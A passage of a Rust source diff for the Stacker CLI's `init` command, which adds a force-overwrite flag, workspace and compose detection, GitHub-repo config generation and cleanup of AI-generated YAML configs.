         return Err(CliError::ConfigValidation(format!(
-            "{} already exists. Remove it first or edit it directly.",
+            "{} already exists. Remove it first, use --force to overwrite, or edit it directly.",
             DEFAULT_CONFIG_FILE
         )));
     }
@@ -289,20 +572,45 @@ pub fn generate_config_full(
     ai_provider: Option<&str>,
     ai_model: Option<&str>,
     ai_api_key: Option<&str>,
+    ai_endpoint: Option<&str>,
+    force: bool,
 ) -> Result<PathBuf, CliError> {
     let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
 
     // Don't overwrite existing config
-    if config_path.exists() {
+    if config_path.exists() && !force {
         return Err(CliError::ConfigValidation(format!(
-            "{} already exists. Remove it first or edit it directly.",
+            "{} already exists. Remove it first, use --force to overwrite, or edit it directly.",
             DEFAULT_CONFIG_FILE
         )));
     }
 
     // If --with-ai is set, try AI-powered generation
     if with_ai {
-        let ai_config = resolve_ai_config(ai_provider, ai_model, ai_api_key)?;
+        let mut ai_config = resolve_ai_config(ai_provider, ai_model, ai_api_key, ai_endpoint)?;
+
+        // If no provider was explicitly specified, check existing stacker.yml
+        if ai_provider.is_none()
+            && ai_model.is_none()
+            && ai_api_key.is_none()
+            && ai_endpoint.is_none()
+            && config_path.exists()
+        {
+            if let Ok(existing) = StackerConfig::from_file(&config_path) {
+                if existing.ai.enabled {
+                    ai_config.provider = existing.ai.provider;
+                    if existing.ai.model.is_some() {
+                        ai_config.model = existing.ai.model;
+                    }
+                    if existing.ai.api_key.is_some() {
+                        ai_config.api_key = existing.ai.api_key;
+                    }
+                    if existing.ai.endpoint.is_some() {
+                        ai_config.endpoint = existing.ai.endpoint;
+                    }
+                }
+            }
+        }
 
         match create_provider(&ai_config) {
             Ok(provider) => {
@@ -393,10 +701,7 @@ fn generate_config_ai_path(
          \n\
          {}\n",
         ai_config.provider,
-        ai_config
-            .model
-            .as_deref()
-            .unwrap_or("default"),
+        ai_config.model.as_deref().unwrap_or("default"),
         full_config_reference_example(),
     );
 
@@ -413,14 +718,17 @@ fn generate_config_template_path(
     with_proxy: bool,
     with_ai: bool,
 ) -> Result<PathBuf, CliError> {
-    // Determine app type: flag override > detection > default (static)
-    let app_type = if let Some(type_str) = app_type_override {
-        parse_app_type(type_str)?
-    } else {
-        let fs = RealFileSystem;
-        let detection = detect_project(project_dir, &fs);
-        detection.app_type
-    };
+    let fs = RealFileSystem;
+    let workspace_detection = detect_workspace(project_dir, &fs);
+    let primary_app = choose_primary_app(&workspace_detection);
+    let app_type = app_type_override
+        .map(parse_app_type)
+        .transpose()?
+        .unwrap_or_else(|| {
+            primary_app
+                .map(|app| app.app_type)
+                .unwrap_or(workspace_detection.root.app_type)
+        });
 
     // Derive project name from directory name
     let project_name = project_dir
@@ -434,7 +742,25 @@ fn generate_config_template_path(
         .name(&project_name)
         .version("0.1.0")
         .app_type(app_type)
-        .app_path(".");
+        .app_path(
+            primary_app
+                .map(|app| app.path.clone())
+                .unwrap_or_else(|| PathBuf::from(".")),
+        );
+
+    if let Some(app) = primary_app {
+        if let Some(dockerfile) = &app.dockerfile {
+            builder = builder.app_dockerfile(dockerfile.clone());
+        }
+    } else if workspace_detection.root.has_dockerfile {
+        // When no DiscoveredApp exists at root (e.g. repo with Dockerfile
+        // but no language markers), fall back to the root-level Dockerfile.
+        builder = builder.app_dockerfile(PathBuf::from("Dockerfile"));
+    }
+
+    for service in importable_compose_services(&workspace_detection, primary_app) {
+        builder = builder.add_service(service);
+    }
 
     if with_proxy {
         builder = builder.proxy(ProxyConfig {
@@ -448,35 +774,943 @@ fn generate_config_template_path(
         });
     }
 
-    if with_ai {
-        builder = builder.ai(AiConfig {
-            enabled: true,
-            provider: AiProviderType::Ollama,
-            ..AiConfig::default()
-        });
+    if with_ai {
+        builder = builder.ai(AiConfig {
+            enabled: true,
+            provider: AiProviderType::Ollama,
+            ..AiConfig::default()
+        });
+    }
+
+    let mut config = builder.build()?;
+    if app_type_override.is_none() {
+        config.deploy.compose_file = workspace_detection.recommended_compose_file.clone();
+    }
+
+    // Serialize to YAML, keeping generated configs compact and validation-clean.
+    let yaml = serialize_generated_config(&config)?;
+
+    let scan_summary = render_scan_summary(
+        project_dir,
+        &workspace_detection,
+        primary_app,
+        &project_name,
+    );
+
+    // Write with a header comment
+    let content = format!(
+        "# Stacker configuration — generated by `stacker init`\n\
+         # Docs: https://docs.try.direct/stacker\n\
+         {scan_summary}\
+         \n\
+         {yaml}"
+    );
+
+    std::fs::write(config_path, &content)?;
+
+    Ok(config_path.to_path_buf())
+}
+
+fn serialize_generated_config(config: &StackerConfig) -> Result<String, CliError> {
+    let mut value = serde_yaml::to_value(config)
+        .map_err(|e| CliError::GeneratorError(format!("Failed to serialize config: {e}")))?;
+
+    prune_generated_config_value(&mut value);
+    remove_disabled_generated_ai_section(&mut value);
+
+    serde_yaml::to_string(&value)
+        .map_err(|e| CliError::GeneratorError(format!("Failed to serialize config: {e}")))
+}
+
+fn prune_generated_config_value(value: &mut serde_yaml::Value) {
+    match value {
+        serde_yaml::Value::Mapping(map) => {
+            let keys = map.keys().cloned().collect::<Vec<_>>();
+            for key in &keys {
+                if let Some(child) = map.get_mut(key) {
+                    prune_generated_config_value(child);
+                }
+            }
+
+            for key in keys {
+                if map.get(&key).is_some_and(is_noise_generated_config_value) {
+                    map.remove(&key);
+                }
+            }
+        }
+        serde_yaml::Value::Sequence(items) => {
+            for item in items.iter_mut() {
+                prune_generated_config_value(item);
+            }
+            items.retain(|item| !is_noise_generated_config_value(item));
+        }
+        _ => {}
+    }
+}
+
+fn is_noise_generated_config_value(value: &serde_yaml::Value) -> bool {
+    match value {
+        serde_yaml::Value::Null => true,
+        serde_yaml::Value::Sequence(items) => items.is_empty(),
+        serde_yaml::Value::Mapping(map) => map.is_empty(),
+        _ => false,
+    }
+}
+
+fn remove_disabled_generated_ai_section(value: &mut serde_yaml::Value) {
+    let serde_yaml::Value::Mapping(root) = value else {
+        return;
+    };
+
+    let ai_key = serde_yaml::Value::String("ai".to_string());
+    let remove_ai = root
+        .get(&ai_key)
+        .and_then(serde_yaml::Value::as_mapping)
+        .and_then(|ai| ai.get(serde_yaml::Value::String("enabled".to_string())))
+        .and_then(serde_yaml::Value::as_bool)
+        == Some(false);
+
+    if remove_ai {
+        root.remove(&ai_key);
+    }
+}
+
+fn choose_primary_app(workspace_detection: &WorkspaceDetection) -> Option<&DiscoveredApp> {
+    if workspace_detection.apps.is_empty() {
+        return None;
+    }
+
+    if let Some(compose_file) = &workspace_detection.recommended_compose_file {
+        if let Some(stack) = workspace_detection
+            .compose_stacks
+            .iter()
+            .find(|stack| &stack.path == compose_file)
+        {
+            if let Some(app) = workspace_detection
+                .apps
+                .iter()
+                .find(|app| stack.services.iter().any(|service| service == &app.name))
+            {
+                return Some(app);
+            }
+
+            // The recommended compose file is at the project root (just a
+            // filename, no subdirectory prefix) and contains services that
+            // do not match any discovered app. Fall back to the root
+            // project context instead of picking an unrelated subdirectory
+            // app — the compose defines what the project does, not the
+            // subdirectory crates.
+            if compose_file.components().count() == 1 && !stack.services.is_empty() {
+                return None;
+            }
+        }
+    }
+
+    workspace_detection
+        .apps
+        .iter()
+        .find(|app| app.path == PathBuf::from("."))
+        .or_else(|| {
+            workspace_detection
+                .apps
+                .iter()
+                .find(|app| app.has_dockerfile)
+        })
+        .or_else(|| workspace_detection.apps.first())
+}
+
+fn render_scan_summary(
+    project_dir: &Path,
+    workspace_detection: &WorkspaceDetection,
+    primary_app: Option<&DiscoveredApp>,
+    project_name: &str,
+) -> String {
+    let mut lines = Vec::new();
+
+    if let Some(app) = primary_app {
+        lines.push(format!(
+            "# Primary app selected for generated config: {} ({})",
+            app.path.display(),
+            app.app_type
+        ));
+    } else {
+        lines.push(format!(
+            "# No nested app candidates detected; using root project defaults for {}",
+            project_name
+        ));
+    }
+
+    if !workspace_detection.apps.is_empty() {
+        lines.push(format!(
+            "# Discovered apps: {}",
+            workspace_detection
+                .apps
+                .iter()
+                .map(|app| format!("{} [{}]", app.path.display(), app.app_type))
+                .collect::<Vec<_>>()
+                .join(", ")
+        ));
+    }
+
+    if let Some(compose_file) = &workspace_detection.recommended_compose_file {
+        lines.push(format!(
+            "# Reusing existing compose stack: {}",
+            compose_file.display()
+        ));
+        if let Some(stack) = workspace_detection
+            .compose_stacks
+            .iter()
+            .find(|stack| &stack.path == compose_file)
+        {
+            lines.push(format!(
+                "# Compose services detected: {}",
+                stack.services.join(", ")
+            ));
+        }
+    }
+
+    for warning in infer_bootstrap_warnings(project_dir, workspace_detection) {
+        lines.push(format!("# WARNING: {}", warning));
+    }
+
+    if lines.is_empty() {
+        String::new()
+    } else {
+        format!("{}\n", lines.join("\n"))
+    }
+}
+
+fn infer_bootstrap_warnings(
+    project_dir: &Path,
+    workspace_detection: &WorkspaceDetection,
+) -> Vec<String> {
+    let Some(compose_file) = &workspace_detection.recommended_compose_file else {
+        return Vec::new();
+    };
+    let Some(stack) = workspace_detection
+        .compose_stacks
+        .iter()
+        .find(|stack| &stack.path == compose_file)
+    else {
+        return Vec::new();
+    };
+
+    workspace_detection
+        .apps
+        .iter()
+        .filter_map(|app| {
+            let service = stack
+                .detected_services
+                .iter()
+                .find(|service| service.name == app.name)?;
+            if !service_uses_properties_volume(service) {
+                return None;
+            }
+
+            let app_dir = project_dir.join(&app.path);
+            let private_key = app_dir.join("properties/private.pem");
+            let public_key = app_dir.join("properties/public.pem");
+            if private_key.exists() || public_key.exists() {
+                return None;
+            }
+
+            if !tree_contains_any(
+                &app_dir,
+                &["properties/private.pem", "properties/public.pem"],
+                6,
+            ) {
+                return None;
+            }
+
+            Some(format!(
+                "{} mounts /app/properties but scan did not find a checked-in keypair or generator service. The app source references properties/private.pem and properties/public.pem, so bootstrap that volume before local deploy.",
+                app.path.display()
+            ))
+        })
+        .collect()
+}
+
+fn service_uses_properties_volume(service: &DetectedComposeService) -> bool {
+    service.volumes.iter().any(|volume| {
+        volume.contains(":/app/properties")
+            || volume.ends_with(":/properties")
+            || volume == "/app/properties"
+            || volume.ends_with("/app/properties")
+    })
+}
+
+fn tree_contains_any(base: &Path, needles: &[&str], max_depth: usize) -> bool {
+    if max_depth == 0 {
+        return false;
+    }
+
+    let Ok(entries) = std::fs::read_dir(base) else {
+        return false;
+    };
+
+    for entry in entries.flatten() {
+        let path = entry.path();
+        if path.is_dir() {
+            if tree_contains_any(&path, needles, max_depth - 1) {
+                return true;
+            }
+            continue;
+        }
+
+        let Some(extension) = path.extension().and_then(|value| value.to_str()) else {
+            continue;
+        };
+        if !matches!(extension, "rs" | "md" | "toml" | "yml" | "yaml") {
+            continue;
+        }
+
+        let Ok(contents) = std::fs::read_to_string(&path) else {
+            continue;
+        };
+        if needles.iter().any(|needle| contents.contains(needle)) {
+            return true;
+        }
+    }
+
+    false
+}
+
+fn importable_compose_services(
+    workspace_detection: &WorkspaceDetection,
+    primary_app: Option<&DiscoveredApp>,
+) -> Vec<ServiceDefinition> {
+    let Some(compose_file) = &workspace_detection.recommended_compose_file else {
+        return Vec::new();
+    };
+    let Some(stack) = workspace_detection
+        .compose_stacks
+        .iter()
+        .find(|stack| &stack.path == compose_file)
+    else {
+        return Vec::new();
+    };
+
+    let primary_app_name = primary_app.map(|app| app.name.as_str());
+
+    stack
+        .detected_services
+        .iter()
+        .filter_map(|service| compose_service_to_definition(service, primary_app_name))
+        .collect()
+}
+
+fn compose_service_to_definition(
+    service: &DetectedComposeService,
+    primary_app_name: Option<&str>,
+) -> Option<ServiceDefinition> {
+    use crate::cli::github_fetcher::{default_healthcheck, is_infra_image};
+
+    if primary_app_name == Some(service.name.as_str()) {
+        return None;
+    }
+
+    let image = normalize_compose_string(&service.image.clone()?)?;
+    let healthcheck = if is_infra_image(&image) {
+        default_healthcheck(&image)
+    } else {
+        None
+    };
+
+    Some(ServiceDefinition {
+        name: service.name.clone(),
+        image,
+        ports: service
+            .ports
+            .iter()
+            .filter_map(|value| normalize_compose_string(value))
+            .collect(),
+        environment: service
+            .environment
+            .iter()
+            .filter_map(|(key, value)| Some((key.clone(), normalize_compose_string(value)?)))
+            .collect(),
+        volumes: service
+            .volumes
+            .iter()
+            .filter_map(|value| normalize_compose_string(value))
+            .collect(),
+        depends_on: service.depends_on.clone(),
+        command: None,
+        healthcheck,
+    })
+}
+
+fn normalize_compose_string(value: &str) -> Option<String> {
+    let pattern = regex::Regex::new(r"\$\{([^}:?+-]+)(?:(:?[-?+])([^}]*))?\}").ok()?;
+    let mut normalized = value.to_string();
+
+    for capture in pattern.captures_iter(value) {
+        let full_match = capture.get(0)?.as_str();
+        let var_name = capture.get(1)?.as_str();
+        let operator = capture.get(2).map(|matched| matched.as_str());
+        let operand = capture.get(3).map(|matched| matched.as_str()).unwrap_or("");
+
+        let replacement = match operator {
+            None => full_match.to_string(),
+            Some(":-") | Some("-") => operand.to_string(),
+            Some(":?") | Some("?") => continue,
+            Some(":+") | Some("+") => operand.to_string(),
+            _ => var_name.to_string(),
+        };
+
+        normalized = normalized.replace(full_match, &replacement);
+    }
+
+    Some(normalized)
+}
+
+/// Output directory for generated artifacts.
+const OUTPUT_DIR: &str = ".stacker";
+
+/// Clone a GitHub repo to a temp directory and generate `stacker.yml` in the
+/// target project directory.
+///
+/// The repo is cloned as a shallow clone (depth 1) for speed, then the
+/// existing local detection and config generation pipeline is reused as-is.
+/// When `with_ai` is enabled, the AI scans the cloned repo (Dockerfile,
+/// compose, README, package.json, etc.) to generate a context-aware config
+/// with ports, env vars, and services inferred from the project's own
+/// documentation and source.
+pub fn generate_config_from_github(
+    project_dir: &Path,
+    url: &str,
+    app_type_override: Option<&str>,
+    with_proxy: bool,
+    with_ai: bool,
+    ai_provider: Option<&str>,
+    ai_model: Option<&str>,
+    ai_api_key: Option<&str>,
+    ai_endpoint: Option<&str>,
+    force: bool,
+) -> Result<PathBuf, CliError> {
+    use crate::cli::github_fetcher::parse_github_url;
+    use std::process::Command;
+
+    let (owner, repo) = parse_github_url(url)?;
+    let clone_url = format!("https://github.com/{}/{}.git", owner, repo);
+    let target_config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+
+    if target_config_path.exists() && !force {
+        return Err(CliError::ConfigValidation(format!(
+            "{} already exists. Remove it first, use --force to overwrite, or edit it directly.",
+            DEFAULT_CONFIG_FILE
+        )));
+    }
+
+    let temp_dir = tempfile::tempdir().map_err(|e| {
+        CliError::ConfigValidation(format!("Failed to create temp directory: {}", e))
+    })?;
+    let cloned_path = temp_dir.path().join(&repo);
+
+    eprintln!("⬇ Fetching {}/{}...", owner, repo);
+
+    let output = Command::new("git")
+        .args(["clone", "--depth", "1", "--single-branch", &clone_url])
+        .arg(&cloned_path)
+        .output()
+        .map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to run git clone: {}. Is git installed?", e))
+        })?;
+
+    if !output.status.success() {
+        let stderr = String::from_utf8_lossy(&output.stderr);
+        // Try without --single-branch as fallback (some repos don't have a default branch set)
+        if stderr.contains("Remote branch") && stderr.contains("not found") {
+            eprintln!("  Retrying without --single-branch...");
+            let output2 = Command::new("git")
+                .args(["clone", "--depth", "1", &clone_url])
+                .arg(&cloned_path)
+                .output()
+                .map_err(|e| {
+                    CliError::ConfigValidation(format!("Failed to run git clone: {}", e))
+                })?;
+
+            if !output2.status.success() {
+                let stderr2 = String::from_utf8_lossy(&output2.stderr);
+                return Err(CliError::ConfigValidation(format!(
+                    "git clone failed for {}/{}: {}",
+                    owner,
+                    repo,
+                    stderr2.trim()
+                )));
+            }
+        } else {
+            return Err(CliError::ConfigValidation(format!(
+                "git clone failed for {}/{}: {}",
+                owner,
+                repo,
+                stderr.trim()
+            )));
+        }
+    }
+
+    eprintln!("✓ Cloned {}/{} into {}", owner, repo, cloned_path.display());
+
+    // Generate config — prefer AI when available (reads README, compose,
+    // Dockerfile for better context), fall back to template detection.
+    let temp_config_path = cloned_path.join(DEFAULT_CONFIG_FILE);
+    let (result, used_ai) = if with_ai {
+        // Resolve AI config: CLI flags > env vars > existing stacker.yml > defaults
+        let mut ai_config = resolve_ai_config(ai_provider, ai_model, ai_api_key, ai_endpoint)?;
+
+        // If no provider was explicitly specified, check the existing stacker.yml
+        // in the target directory (set up via `stacker config setup ai`).
+        if ai_provider.is_none()
+            && ai_model.is_none()
+            && ai_api_key.is_none()
+            && ai_endpoint.is_none()
+        {
+            let existing_yaml = project_dir.join(DEFAULT_CONFIG_FILE);
+            if existing_yaml.exists() {
+                if let Ok(existing) = StackerConfig::from_file(&existing_yaml) {
+                    if existing.ai.enabled {
+                        ai_config.provider = existing.ai.provider;
+                        if existing.ai.model.is_some() {
+                            ai_config.model = existing.ai.model;
+                        }
+                        if existing.ai.api_key.is_some() {
+                            ai_config.api_key = existing.ai.api_key;
+                        }
+                        if existing.ai.endpoint.is_some() {
+                            ai_config.endpoint = existing.ai.endpoint;
+                        }
+                        eprintln!(
+                            "🤖 Using AI config from existing stacker.yml (provider: {})",
+                            ai_config.provider
+                        );
+                    }
+                }
+            }
+        }
+
+        match create_provider(&ai_config) {
+            Ok(provider) => {
+                eprintln!(
+                    "🤖 Generating config with AI ({} — {})...",
+                    ai_config.provider,
+                    ai_config.model.as_deref().unwrap_or("default")
+                );
+                match generate_config_ai_path(
+                    &cloned_path,
+                    &temp_config_path,
+                    provider.as_ref(),
+                    &ai_config,
+                ) {
+                    Ok(path) => (Ok(path), true),
+                    Err(e) => {
+                        eprintln!("⚠ AI generation failed: {}", e);
+
+                        // Try converting compose-format output before falling back
+                        let draft_path = cloned_path.join("stacker.yml.ai-draft");
+                        let mut converted = false;
+                        if let Ok(draft) = std::fs::read_to_string(&draft_path) {
+                            if let Some(cfg) = convert_compose_to_stacker(&draft, &repo) {
+                                let yaml = serialize_generated_config(&cfg).unwrap_or_default();
+                                let _ = std::fs::write(&temp_config_path, &yaml);
+                                eprintln!(
+                                    "  ✓ Converted docker-compose output to stacker.yml format."
+                                );
+                                converted = true;
+                            }
+                        }
+
+                        if converted {
+                            (Ok(temp_config_path), true)
+                        } else {
+                            eprintln!("  Falling back to template-based generation.");
+                            eprintln!(
+                                "  Tip: make sure your Ollama model supports code generation."
+                            );
+                            eprintln!("  Available models: ollama list\n");
+                            (
+                                generate_config_template_path(
+                                    &cloned_path,
+                                    &temp_config_path,
+                                    app_type_override,
+                                    with_proxy,
+                                    with_ai,
+                                ),
+                                false,
+                            )
+                        }
+                    }
+                }
+            }
+            Err(e) => {
+                eprintln!("⚠ AI provider not available: {}", e);
+                eprintln!("  Falling back to template-based generation.");
+                eprintln!("  Tip: start Ollama with: ollama serve\n");
+                (
+                    generate_config_template_path(
+                        &cloned_path,
+                        &temp_config_path,
+                        app_type_override,
+                        with_proxy,
+                        with_ai,
+                    ),
+                    false,
+                )
+            }
+        }
+    } else {
+        (
+            generate_config_template_path(
+                &cloned_path,
+                &temp_config_path,
+                app_type_override,
+                with_proxy,
+                with_ai,
+            ),
+            false,
+        )
+    };
+
+    match result {
+        Ok(temp_path) => {
+            // Load the generated config, strip the compose_file reference
+            // (it points into the temp clone that will be cleaned up), and
+            // rewrite the cleaned config to the target project directory.
+            let mut config = StackerConfig::from_file(&temp_path)?;
+            let was_ai = used_ai;
+            config.deploy.compose_file = None;
+
+            // Post-process AI output: move the main app from services to
+            // app.image block, filter unsupported port ranges.
+            if was_ai {
+                sanitize_ai_config(&mut config, &repo);
+            }
+
+            let cleaned_yaml = serialize_generated_config(&config)?;
+            let method = if used_ai {
+                "stacker init --from-github --with-ai"
+            } else {
+                "stacker init --from-github"
+            };
+            let content = format!(
+                "# Stacker configuration — generated by `{method} {owner}/{repo}`\n\
+                 # Docs: https://docs.try.direct/stacker\n\
+                 \n\
+                 {yaml}",
+                owner = owner,
+                repo = repo,
+                yaml = cleaned_yaml,
+                method = method
+            );
+            std::fs::write(&target_config_path, &content).map_err(|e| {
+                CliError::ConfigValidation(format!(
+                    "Failed to write {}: {}",
+                    DEFAULT_CONFIG_FILE, e
+                ))
+            })?;
+
+            // Generate .stacker/ directory with Dockerfile and
+            // docker-compose.yml so the user can deploy immediately.
+            let output_dir = project_dir.join(OUTPUT_DIR);
+            std::fs::create_dir_all(&output_dir)?;
+
+            let needs_dockerfile = config.app.image.is_none() && config.app.dockerfile.is_none();
+            if needs_dockerfile {
+                let dockerfile_path = output_dir.join("Dockerfile");
+                let builder = DockerfileBuilder::for_project(&cloned_path, config.app.app_type);
+                builder.write_to(&dockerfile_path, force)?;
+                eprintln!("✓ Generated {}/Dockerfile", OUTPUT_DIR);
+            }
+
+            if config.deploy.compose_file.is_none() {
+                let compose_path = output_dir.join("docker-compose.yml");
+                let compose = ComposeDefinition::try_from(&config)?;
+                compose.write_to(&compose_path, force)?;
+                eprintln!("✓ Generated {}/docker-compose.yml", OUTPUT_DIR);
+            }
+
+            // Generate .env.example and scripts/generate-secrets.sh from
+            // the detected environment variables in the generated config.
+            // Always produce the files for --from-github — even an empty
+            // template gives the user a starting point to add their own vars.
+            let mut env_vars = std::collections::HashMap::new();
+            for (key, value) in &config.app.environment {
+                env_vars.insert(key.clone(), value.clone());
+            }
+            for service in &config.services {
+                for (key, value) in &service.environment {
+                    env_vars.insert(key.clone(), value.clone());
+                }
+            }
+
+            let env_example_path = project_dir.join(".env.example");
+            let env_content = if env_vars.is_empty() {
+                "# Add your environment variables below, one per line.\n\
+                 # Example:\n\
+                 #   DATABASE_URL=postgres://user:password@host:5432/db\n\
+                 #   APP_PORT=8080\n\
+                 \n"
+                .to_string()
+            } else {
+                generate_env_example_content(&env_vars)
+            };
+            std::fs::write(&env_example_path, &env_content).map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to write .env.example: {}", e))
+            })?;
+            eprintln!("✓ Generated .env.example");
+
+            let scripts_dir = project_dir.join("scripts");
+            std::fs::create_dir_all(&scripts_dir).ok();
+            let script_path = scripts_dir.join("generate-secrets.sh");
+            let script_content = generate_secrets_script_content(&env_content);
+            std::fs::write(&script_path, &script_content).map_err(|e| {
+                CliError::ConfigValidation(format!(
+                    "Failed to write scripts/generate-secrets.sh: {}",
+                    e
+                ))
+            })?;
+
+            #[cfg(unix)]
+            {
+                use std::os::unix::fs::PermissionsExt;
+                let _ =
+                    std::fs::set_permissions(&script_path, std::fs::Permissions::from_mode(0o755));
+            }
+            eprintln!("✓ Generated scripts/generate-secrets.sh");
+
+            Ok(target_config_path)
+        }
+        Err(e) => Err(e),
+    }
+}
+
+/// Post-process AI-generated config to fix common model mistakes:
+/// - Move the main app from `services:` to `app.image:` when a service
+///   matches the repo name and has a public image.
+/// - Strip port ranges (e.g. 6379-6399:6379-6399) which Stacker cannot parse.
+fn sanitize_ai_config(config: &mut StackerConfig, repo_name: &str) {
+    use crate::cli::github_fetcher::is_infra_image;
+
+    // ── Move main app service to app.image ──
+    // Priority: exact repo name match → common AI service names → sole non-infra service.
+    if config.app.image.is_none() {
+        const COMMON_APP_NAMES: &[&str] = &["app", "web", "server", "api", "backend", "frontend"];
+
+        let pos = config
+            .services
+            .iter()
+            .position(|svc| svc.name == repo_name && !svc.image.is_empty())
+            .or_else(|| {
+                config.services.iter().position(|svc| {
+                    !svc.image.is_empty()
+                        && COMMON_APP_NAMES.contains(&svc.name.as_str())
+                        && !is_infra_image(&svc.image)
+                })
+            })
+            .or_else(|| {
+                // Fall back to the sole non-infra service when there is exactly one.
+                let non_infra: Vec<usize> = config
+                    .services
+                    .iter()
+                    .enumerate()
+                    .filter(|(_, svc)| !svc.image.is_empty() && !is_infra_image(&svc.image))
+                    .map(|(i, _)| i)
+                    .collect();
+                if non_infra.len() == 1 {
+                    Some(non_infra[0])
+                } else {
+                    None
+                }
+            });
+
+        if let Some(pos) = pos {
+            let svc = config.services.remove(pos);
+            config.app.image = Some(svc.image.clone());
+            config.app.app_type = AppType::Custom;
+
+            if config.app.ports.is_empty() {
+                config.app.ports = svc.ports.clone();
+            }
+            if config.app.volumes.is_empty() {
+                config.app.volumes = svc.volumes.clone();
+            }
+            if config.app.environment.is_empty() {
+                config.app.environment = svc.environment.clone();
+            }
+            // Always clear dockerfile when a pre-built image is set —
+            // the slash check missed official Docker Hub images like redis:7.
+            config.app.dockerfile = None;
+        }
+    }
+
+    // ── Strip port ranges from all ports lists ──
+    fn is_port_range(port: &str) -> bool {
+        port.contains('-')
     }
 
-    let config = builder.build()?;
+    config.app.ports.retain(|p| !is_port_range(p));
+    for svc in &mut config.services {
+        svc.ports.retain(|p| !is_port_range(p));
+    }
+}
 
-    // Serialize to YAML
-    let yaml = serde_yaml::to_string(&config)
-        .map_err(|e| CliError::GeneratorError(format!("Failed to serialize config: {e}")))?;
+/// Convert docker-compose YAML output to stacker.yml format.
+/// Some models output compose format despite the system prompt.
+fn convert_compose_to_stacker(ai_output: &str, repo_name: &str) -> Option<StackerConfig> {
+    use crate::cli::github_fetcher::is_infra_image;
+    use std::collections::HashMap;
+
+    let parsed: serde_yaml::Value = serde_yaml::from_str(ai_output).ok()?;
+
+    let is_compose = parsed.get("version").is_some()
+        || parsed
+            .get("services")
+            .and_then(|s| s.as_mapping())
+            .map_or(false, |m| {
+                m.values()
+                    .any(|v| v.get("build").is_some() && v.get("image").is_none())
+            });
+
+    if !is_compose {
+        return None;
+    }
 
-    // Write with a header comment
-    let content = format!(
-        "# Stacker configuration — generated by `stacker init`\n\
-         # Docs: https://docs.try.direct/stacker\n\
-         \n\
-         {yaml}"
-    );
+    let services = parsed.get("services")?.as_mapping()?;
+    if services.is_empty() {
+        return None;
+    }
 
-    std::fs::write(config_path, &content)?;
+    let mut app_image: Option<String> = None;
+    let mut app_ports: Vec<String> = Vec::new();
+    let mut app_volumes: Vec<String> = Vec::new();
+    let mut app_env: HashMap<String, String> = HashMap::new();
+    let mut infra_services: Vec<ServiceDefinition> = Vec::new();
 
-    Ok(config_path.to_path_buf())
+    for (name, svc_val) in services {
+        let name = match name.as_str() {
+            Some(s) => s.to_string(),
+            None => continue,
+        };
+        let svc = match svc_val.as_mapping() {
+            Some(m) => m,
+            None => continue,
+        };
+        let image = svc
+            .get("image")
+            .and_then(|v| v.as_str())
+            .map(|s| s.to_string());
+
+        if let Some(ref img) = image {
+            if is_infra_image(img) {
+                infra_services.push(ServiceDefinition {
+                    name,
+                    image: img.clone(),
+                    ports: extract_yaml_strings(svc.get("ports")),
+                    environment: extract_yaml_env(svc.get("environment")),
+                    volumes: extract_yaml_strings(svc.get("volumes")),
+                    depends_on: extract_yaml_strings(svc.get("depends_on")),
+                    command: None,
+                    healthcheck: crate::cli::github_fetcher::default_healthcheck(img),
+                });
+            } else {
+                app_image = Some(img.clone());
+                app_ports = extract_yaml_strings(svc.get("ports"));
+                app_volumes = extract_yaml_strings(svc.get("volumes"));
+                app_env = extract_yaml_env(svc.get("environment"));
+            }
+        } else if name == repo_name || app_image.is_none() {
+            app_ports = extract_yaml_strings(svc.get("ports"));
+            app_volumes = extract_yaml_strings(svc.get("volumes"));
+            app_env = extract_yaml_env(svc.get("environment"));
+        }
+    }
+
+    let mut config = StackerConfig {
+        name: repo_name.to_string(),
+        version: None,
+        organization: None,
+        project: crate::cli::config_parser::ProjectConfig { identity: None },
+        app: crate::cli::config_parser::AppSource {
+            app_type: AppType::Custom,
+            path: PathBuf::from("."),
+            dockerfile: app_image.is_none().then(|| PathBuf::from("Dockerfile")),
+            image: app_image,
+            build: None,
+            ports: app_ports,
+            volumes: app_volumes,
+            environment: app_env,
+            command: None,
+            healthcheck: None,
+        },
+        services: infra_services,
+        proxy: crate::cli::config_parser::ProxyConfig::default(),
+        deploy: crate::cli::config_parser::DeployConfig {
+            target: crate::cli::config_parser::DeployTarget::Local,
+            ..Default::default()
+        },
+        install: crate::cli::config_parser::InstallConfig::default(),
+        environments: BTreeMap::new(),
+        ai: crate::cli::config_parser::AiConfig::default(),
+        monitoring: crate::cli::config_parser::MonitoringConfig {
+            status_panel: false,
+            ..Default::default()
+        },
+        hooks: crate::cli::config_parser::HookConfig::default(),
+        env_file: None,
+        env: HashMap::new(),
+        config_contract: crate::cli::config_parser::ConfigContract::default(),
+        origin: crate::cli::config_parser::ConfigOrigin::UserAuthored,
+        // `init` always writes an explicit `app:` section for the detected app.
+        app_present: true,
+    };
+
+    // Strip port ranges
+    config.app.ports.retain(|p| !p.contains('-'));
+    for svc in &mut config.services {
+        svc.ports.retain(|p| !p.contains('-'));
+    }
+
+    Some(config)
 }
 
-/// Output directory for generated artifacts.
-const OUTPUT_DIR: &str = ".stacker";
+fn extract_yaml_strings(value: Option<&serde_yaml::Value>) -> Vec<String> {
+    match value {
+        Some(serde_yaml::Value::Sequence(seq)) => seq
+            .iter()
+            .filter_map(|v| v.as_str().map(|s| s.to_string()))
+            .collect(),
+        _ => Vec::new(),
+    }
+}
+
+fn extract_yaml_env(value: Option<&serde_yaml::Value>) -> HashMap<String, String> {
+    let mut env = HashMap::new();
+    match value {
+        Some(serde_yaml::Value::Mapping(m)) => {
+            for (k, v) in m {
+                if let Some(key) = k.as_str() {
+                    let val = match v {
+                        serde_yaml::Value::String(s) => s.clone(),
+                        serde_yaml::Value::Number(n) => n.to_string(),
+                        serde_yaml::Value::Bool(b) => b.to_string(),
+                        _ => continue,
+                    };
+                    env.insert(key.to_string(), val);
+                }
+            }
+        }
+        Some(serde_yaml::Value::Sequence(seq)) => {
+            for item in seq {
+                if let Some(line) = item.as_str() {
+                    if let Some((k, v)) = line.split_once('=') {
+                        env.insert(k.to_string(), v.to_string());
+                    }
+                }
+            }
+        }
+        _ => {}
+    }
+    env
+}
 
 fn summarize_top_level_entries(project_dir: &Path, limit: usize) -> String {
     let mut entries: Vec<String> = match std::fs::read_dir(project_dir) {
@@ -566,14 +1800,22 @@ fn collect_generation_context(project_dir: &Path, config: &StackerConfig) -> Vec
         }
     ));
 
